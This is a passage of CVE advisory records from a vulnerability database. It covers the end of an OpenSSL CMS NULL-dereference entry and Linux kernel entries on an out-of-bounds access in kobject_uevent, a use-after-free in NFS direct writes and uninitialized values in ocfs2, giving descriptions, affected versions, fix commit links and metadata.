          "url": "https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616"
        },
        {
          "name": "3.3.7 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a"
        },
        {
          "name": "3.0.20 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Possible NULL Dereference When Processing CMS KeyAgreeRecipientInfo",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2026-28389",
    "datePublished": "2026-04-07T22:00:53.364Z",
    "dateReserved": "2026-02-27T13:45:02.161Z",
    "dateUpdated": "2026-05-12T12:09:01.089Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42292 (GCVE-0-2024-42292)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:09 – Updated: 2026-05-12 11:56

Title

kobject_uevent: Fix OOB access within zap_modalias_env()

Summary

In the Linux kernel, the following vulnerability has been resolved: kobject_uevent: Fix OOB access within zap_modalias_env() zap_modalias_env() wrongly calculates size of memory block to move, so will cause OOB memory access issue if variable MODALIAS is not the last one within its @env parameter, fixed by correcting size to memmove.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/81a15d28f32af0149…
https://git.kernel.org/stable/c/b59a5e86a3934f1b6…
https://git.kernel.org/stable/c/648d5490460d38436…
https://git.kernel.org/stable/c/c5ee8adc8d98a4970…
https://git.kernel.org/stable/c/68d63ace80b76395e…
https://git.kernel.org/stable/c/57fe01d3d04276875…
https://git.kernel.org/stable/c/d4663536754defff7…
https://git.kernel.org/stable/c/dd6e9894b451e7c85…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9b3fa47d4a76b1d606a396455f9bbeee083ef008 , < 81a15d28f32af01493ae8c5457e0d55314a4167d (git) Affected: 9b3fa47d4a76b1d606a396455f9bbeee083ef008 , < b59a5e86a3934f1b6a5bd1368902dbc79bdecc90 (git) Affected: 9b3fa47d4a76b1d606a396455f9bbeee083ef008 , < 648d5490460d38436640da0812bf7f6351c150d2 (git) Affected: 9b3fa47d4a76b1d606a396455f9bbeee083ef008 , < c5ee8adc8d98a49703320d13878ba2b923b142f5 (git) Affected: 9b3fa47d4a76b1d606a396455f9bbeee083ef008 , < 68d63ace80b76395e7935687ecdb86421adc2168 (git) Affected: 9b3fa47d4a76b1d606a396455f9bbeee083ef008 , < 57fe01d3d04276875c7e3a6dc763517fc05b8762 (git) Affected: 9b3fa47d4a76b1d606a396455f9bbeee083ef008 , < d4663536754defff75ff1eca0aaebc41da165a8d (git) Affected: 9b3fa47d4a76b1d606a396455f9bbeee083ef008 , < dd6e9894b451e7c85cceb8e9dc5432679a70e7dc (git)
Linux	Linux	Affected: 4.15 Unaffected: 0 , < 4.15 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42292",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:11:00.545656Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:29.474Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:03:51.105Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:47.996Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "lib/kobject_uevent.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "81a15d28f32af01493ae8c5457e0d55314a4167d",
              "status": "affected",
              "version": "9b3fa47d4a76b1d606a396455f9bbeee083ef008",
              "versionType": "git"
            },
            {
              "lessThan": "b59a5e86a3934f1b6a5bd1368902dbc79bdecc90",
              "status": "affected",
              "version": "9b3fa47d4a76b1d606a396455f9bbeee083ef008",
              "versionType": "git"
            },
            {
              "lessThan": "648d5490460d38436640da0812bf7f6351c150d2",
              "status": "affected",
              "version": "9b3fa47d4a76b1d606a396455f9bbeee083ef008",
              "versionType": "git"
            },
            {
              "lessThan": "c5ee8adc8d98a49703320d13878ba2b923b142f5",
              "status": "affected",
              "version": "9b3fa47d4a76b1d606a396455f9bbeee083ef008",
              "versionType": "git"
            },
            {
              "lessThan": "68d63ace80b76395e7935687ecdb86421adc2168",
              "status": "affected",
              "version": "9b3fa47d4a76b1d606a396455f9bbeee083ef008",
              "versionType": "git"
            },
            {
              "lessThan": "57fe01d3d04276875c7e3a6dc763517fc05b8762",
              "status": "affected",
              "version": "9b3fa47d4a76b1d606a396455f9bbeee083ef008",
              "versionType": "git"
            },
            {
              "lessThan": "d4663536754defff75ff1eca0aaebc41da165a8d",
              "status": "affected",
              "version": "9b3fa47d4a76b1d606a396455f9bbeee083ef008",
              "versionType": "git"
            },
            {
              "lessThan": "dd6e9894b451e7c85cceb8e9dc5432679a70e7dc",
              "status": "affected",
              "version": "9b3fa47d4a76b1d606a396455f9bbeee083ef008",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "lib/kobject_uevent.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.15"
            },
            {
              "lessThan": "4.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nkobject_uevent: Fix OOB access within zap_modalias_env()\n\nzap_modalias_env() wrongly calculates size of memory block to move, so\nwill cause OOB memory access issue if variable MODALIAS is not the last\none within its @env parameter, fixed by correcting size to memmove."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:29:33.196Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/81a15d28f32af01493ae8c5457e0d55314a4167d"
        },
        {
          "url": "https://git.kernel.org/stable/c/b59a5e86a3934f1b6a5bd1368902dbc79bdecc90"
        },
        {
          "url": "https://git.kernel.org/stable/c/648d5490460d38436640da0812bf7f6351c150d2"
        },
        {
          "url": "https://git.kernel.org/stable/c/c5ee8adc8d98a49703320d13878ba2b923b142f5"
        },
        {
          "url": "https://git.kernel.org/stable/c/68d63ace80b76395e7935687ecdb86421adc2168"
        },
        {
          "url": "https://git.kernel.org/stable/c/57fe01d3d04276875c7e3a6dc763517fc05b8762"
        },
        {
          "url": "https://git.kernel.org/stable/c/d4663536754defff75ff1eca0aaebc41da165a8d"
        },
        {
          "url": "https://git.kernel.org/stable/c/dd6e9894b451e7c85cceb8e9dc5432679a70e7dc"
        }
      ],
      "title": "kobject_uevent: Fix OOB access within zap_modalias_env()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42292",
    "datePublished": "2024-08-17T09:09:01.586Z",
    "dateReserved": "2024-07-30T07:40:12.268Z",
    "dateUpdated": "2026-05-12T11:56:47.996Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26958 (GCVE-0-2024-26958)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:19 – Updated: 2026-05-12 11:50

Title

nfs: fix UAF in direct writes

Summary

In the Linux kernel, the following vulnerability has been resolved: nfs: fix UAF in direct writes In production we have been hitting the following warning consistently ------------[ cut here ]------------ refcount_t: underflow; use-after-free. WARNING: CPU: 17 PID: 1800359 at lib/refcount.c:28 refcount_warn_saturate+0x9c/0xe0 Workqueue: nfsiod nfs_direct_write_schedule_work [nfs] RIP: 0010:refcount_warn_saturate+0x9c/0xe0 PKRU: 55555554 Call Trace: <TASK> ? __warn+0x9f/0x130 ? refcount_warn_saturate+0x9c/0xe0 ? report_bug+0xcc/0x150 ? handle_bug+0x3d/0x70 ? exc_invalid_op+0x16/0x40 ? asm_exc_invalid_op+0x16/0x20 ? refcount_warn_saturate+0x9c/0xe0 nfs_direct_write_schedule_work+0x237/0x250 [nfs] process_one_work+0x12f/0x4a0 worker_thread+0x14e/0x3b0 ? ZSTD_getCParams_internal+0x220/0x220 kthread+0xdc/0x120 ? __btf_name_valid+0xa0/0xa0 ret_from_fork+0x1f/0x30 This is because we're completing the nfs_direct_request twice in a row. The source of this is when we have our commit requests to submit, we process them and send them off, and then in the completion path for the commit requests we have if (nfs_commit_end(cinfo.mds)) nfs_direct_write_complete(dreq); However since we're submitting asynchronous requests we sometimes have one that completes before we submit the next one, so we end up calling complete on the nfs_direct_request twice. The only other place we use nfs_generic_commit_list() is in __nfs_commit_inode, which wraps this call in a nfs_commit_begin(); nfs_commit_end(); Which is a common pattern for this style of completion handling, one that is also repeated in the direct code with get_dreq()/put_dreq() calls around where we process events as well as in the completion paths. Fix this by using the same pattern for the commit requests. Before with my 200 node rocksdb stress running this warning would pop every 10ish minutes. With my patch the stress test has been running for several hours without popping.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/6cd3f13aaa62970b5…
https://git.kernel.org/stable/c/4595d90b5d2ea5fa4…
https://git.kernel.org/stable/c/80d24b308b7ee7037…
https://git.kernel.org/stable/c/3abc2d160ed821394…
https://git.kernel.org/stable/c/e25447c35f8745337…
https://git.kernel.org/stable/c/1daf52b5ffb24870f…
https://git.kernel.org/stable/c/cf54f66e1dd78990e…
https://git.kernel.org/stable/c/17f46b803d4f23c66…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: af7cf057933f01dc7f33ddfb5e436ad598ed17ad , < 6cd3f13aaa62970b5169d990e936b2e96943bc6a (git) Affected: af7cf057933f01dc7f33ddfb5e436ad598ed17ad , < 4595d90b5d2ea5fa4d318d13f59055aa4bf3e7f5 (git) Affected: af7cf057933f01dc7f33ddfb5e436ad598ed17ad , < 80d24b308b7ee7037fc90d8ac99f6f78df0a256f (git) Affected: af7cf057933f01dc7f33ddfb5e436ad598ed17ad , < 3abc2d160ed8213948b147295d77d44a22c88fa3 (git) Affected: af7cf057933f01dc7f33ddfb5e436ad598ed17ad , < e25447c35f8745337ea8bc0c9697fcac14df8605 (git) Affected: af7cf057933f01dc7f33ddfb5e436ad598ed17ad , < 1daf52b5ffb24870fbeda20b4967526d8f9e12ab (git) Affected: af7cf057933f01dc7f33ddfb5e436ad598ed17ad , < cf54f66e1dd78990ec6b32177bca7e6ea2144a95 (git) Affected: af7cf057933f01dc7f33ddfb5e436ad598ed17ad , < 17f46b803d4f23c66cacce81db35fef3adb8f2af (git)
Linux	Linux	Affected: 4.5 Unaffected: 0 , < 4.5 (semver) Unaffected: 5.4.297 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26958",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-01T13:37:27.589314Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:21:10.748Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.688Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4595d90b5d2ea5fa4d318d13f59055aa4bf3e7f5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/80d24b308b7ee7037fc90d8ac99f6f78df0a256f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3abc2d160ed8213948b147295d77d44a22c88fa3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e25447c35f8745337ea8bc0c9697fcac14df8605"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1daf52b5ffb24870fbeda20b4967526d8f9e12ab"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cf54f66e1dd78990ec6b32177bca7e6ea2144a95"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/17f46b803d4f23c66cacce81db35fef3adb8f2af"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:48.932Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfs/direct.c",
            "fs/nfs/write.c",
            "include/linux/nfs_fs.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6cd3f13aaa62970b5169d990e936b2e96943bc6a",
              "status": "affected",
              "version": "af7cf057933f01dc7f33ddfb5e436ad598ed17ad",
              "versionType": "git"
            },
            {
              "lessThan": "4595d90b5d2ea5fa4d318d13f59055aa4bf3e7f5",
              "status": "affected",
              "version": "af7cf057933f01dc7f33ddfb5e436ad598ed17ad",
              "versionType": "git"
            },
            {
              "lessThan": "80d24b308b7ee7037fc90d8ac99f6f78df0a256f",
              "status": "affected",
              "version": "af7cf057933f01dc7f33ddfb5e436ad598ed17ad",
              "versionType": "git"
            },
            {
              "lessThan": "3abc2d160ed8213948b147295d77d44a22c88fa3",
              "status": "affected",
              "version": "af7cf057933f01dc7f33ddfb5e436ad598ed17ad",
              "versionType": "git"
            },
            {
              "lessThan": "e25447c35f8745337ea8bc0c9697fcac14df8605",
              "status": "affected",
              "version": "af7cf057933f01dc7f33ddfb5e436ad598ed17ad",
              "versionType": "git"
            },
            {
              "lessThan": "1daf52b5ffb24870fbeda20b4967526d8f9e12ab",
              "status": "affected",
              "version": "af7cf057933f01dc7f33ddfb5e436ad598ed17ad",
              "versionType": "git"
            },
            {
              "lessThan": "cf54f66e1dd78990ec6b32177bca7e6ea2144a95",
              "status": "affected",
              "version": "af7cf057933f01dc7f33ddfb5e436ad598ed17ad",
              "versionType": "git"
            },
            {
              "lessThan": "17f46b803d4f23c66cacce81db35fef3adb8f2af",
              "status": "affected",
              "version": "af7cf057933f01dc7f33ddfb5e436ad598ed17ad",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfs/direct.c",
            "fs/nfs/write.c",
            "include/linux/nfs_fs.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.5"
            },
            {
              "lessThan": "4.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.297",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.297",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfs: fix UAF in direct writes\n\nIn production we have been hitting the following warning consistently\n\n------------[ cut here ]------------\nrefcount_t: underflow; use-after-free.\nWARNING: CPU: 17 PID: 1800359 at lib/refcount.c:28 refcount_warn_saturate+0x9c/0xe0\nWorkqueue: nfsiod nfs_direct_write_schedule_work [nfs]\nRIP: 0010:refcount_warn_saturate+0x9c/0xe0\nPKRU: 55555554\nCall Trace:\n \u003cTASK\u003e\n ? __warn+0x9f/0x130\n ? refcount_warn_saturate+0x9c/0xe0\n ? report_bug+0xcc/0x150\n ? handle_bug+0x3d/0x70\n ? exc_invalid_op+0x16/0x40\n ? asm_exc_invalid_op+0x16/0x20\n ? refcount_warn_saturate+0x9c/0xe0\n nfs_direct_write_schedule_work+0x237/0x250 [nfs]\n process_one_work+0x12f/0x4a0\n worker_thread+0x14e/0x3b0\n ? ZSTD_getCParams_internal+0x220/0x220\n kthread+0xdc/0x120\n ? __btf_name_valid+0xa0/0xa0\n ret_from_fork+0x1f/0x30\n\nThis is because we\u0027re completing the nfs_direct_request twice in a row.\n\nThe source of this is when we have our commit requests to submit, we\nprocess them and send them off, and then in the completion path for the\ncommit requests we have\n\nif (nfs_commit_end(cinfo.mds))\n\tnfs_direct_write_complete(dreq);\n\nHowever since we\u0027re submitting asynchronous requests we sometimes have\none that completes before we submit the next one, so we end up calling\ncomplete on the nfs_direct_request twice.\n\nThe only other place we use nfs_generic_commit_list() is in\n__nfs_commit_inode, which wraps this call in a\n\nnfs_commit_begin();\nnfs_commit_end();\n\nWhich is a common pattern for this style of completion handling, one\nthat is also repeated in the direct code with get_dreq()/put_dreq()\ncalls around where we process events as well as in the completion paths.\n\nFix this by using the same pattern for the commit requests.\n\nBefore with my 200 node rocksdb stress running this warning would pop\nevery 10ish minutes.  With my patch the stress test has been running for\nseveral hours without popping."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:40.601Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6cd3f13aaa62970b5169d990e936b2e96943bc6a"
        },
        {
          "url": "https://git.kernel.org/stable/c/4595d90b5d2ea5fa4d318d13f59055aa4bf3e7f5"
        },
        {
          "url": "https://git.kernel.org/stable/c/80d24b308b7ee7037fc90d8ac99f6f78df0a256f"
        },
        {
          "url": "https://git.kernel.org/stable/c/3abc2d160ed8213948b147295d77d44a22c88fa3"
        },
        {
          "url": "https://git.kernel.org/stable/c/e25447c35f8745337ea8bc0c9697fcac14df8605"
        },
        {
          "url": "https://git.kernel.org/stable/c/1daf52b5ffb24870fbeda20b4967526d8f9e12ab"
        },
        {
          "url": "https://git.kernel.org/stable/c/cf54f66e1dd78990ec6b32177bca7e6ea2144a95"
        },
        {
          "url": "https://git.kernel.org/stable/c/17f46b803d4f23c66cacce81db35fef3adb8f2af"
        }
      ],
      "title": "nfs: fix UAF in direct writes",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26958",
    "datePublished": "2024-05-01T05:19:04.069Z",
    "dateReserved": "2024-02-19T14:20:24.200Z",
    "dateUpdated": "2026-05-12T11:50:48.932Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-53101 (GCVE-0-2024-53101)

Vulnerability from cvelistv5 – Published: 2024-11-25 21:21 – Updated: 2026-05-12 12:01

Title

fs: Fix uninitialized value issue in from_kuid and from_kgid

Summary

In the Linux kernel, the following vulnerability has been resolved: fs: Fix uninitialized value issue in from_kuid and from_kgid ocfs2_setattr() uses attr->ia_mode, attr->ia_uid and attr->ia_gid in a trace point even though ATTR_MODE, ATTR_UID and ATTR_GID aren't set. Initialize all fields of newattrs to avoid uninitialized variables, by checking if ATTR_MODE, ATTR_UID, ATTR_GID are initialized, otherwise 0.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-908 - Use of Uninitialized Resource

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/a0c77e5e3dcbffc7c…
https://git.kernel.org/stable/c/17ecb40c5cc7755a3…
https://git.kernel.org/stable/c/9db25c2b41c34963c…
https://git.kernel.org/stable/c/b3e612bd8f64ce62e…
https://git.kernel.org/stable/c/5a72b0d3497b818d8…
https://git.kernel.org/stable/c/1cb5bfc5bfc651982…
https://git.kernel.org/stable/c/1c28bca1256aecece…
https://git.kernel.org/stable/c/15f34347481648a56…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 468eedde23d6c9335935773f4f5764267d5a7763 , < a0c77e5e3dcbffc7c6080ccc89c037f0c86496cf (git) Affected: 468eedde23d6c9335935773f4f5764267d5a7763 , < 17ecb40c5cc7755a321fb6148cba5797431ee5b8 (git) Affected: 468eedde23d6c9335935773f4f5764267d5a7763 , < 9db25c2b41c34963c3ccf473b08171f87670652e (git) Affected: 468eedde23d6c9335935773f4f5764267d5a7763 , < b3e612bd8f64ce62e731e95f635e06a2efe3c80c (git) Affected: 468eedde23d6c9335935773f4f5764267d5a7763 , < 5a72b0d3497b818d8f000c347a7c11801eb27bfc (git) Affected: 468eedde23d6c9335935773f4f5764267d5a7763 , < 1cb5bfc5bfc651982b6203c224d49b7ddacf28bc (git) Affected: 468eedde23d6c9335935773f4f5764267d5a7763 , < 1c28bca1256aecece6e94b26b85cd07e08b0dc90 (git) Affected: 468eedde23d6c9335935773f4f5764267d5a7763 , < 15f34347481648a567db67fb473c23befb796af5 (git)
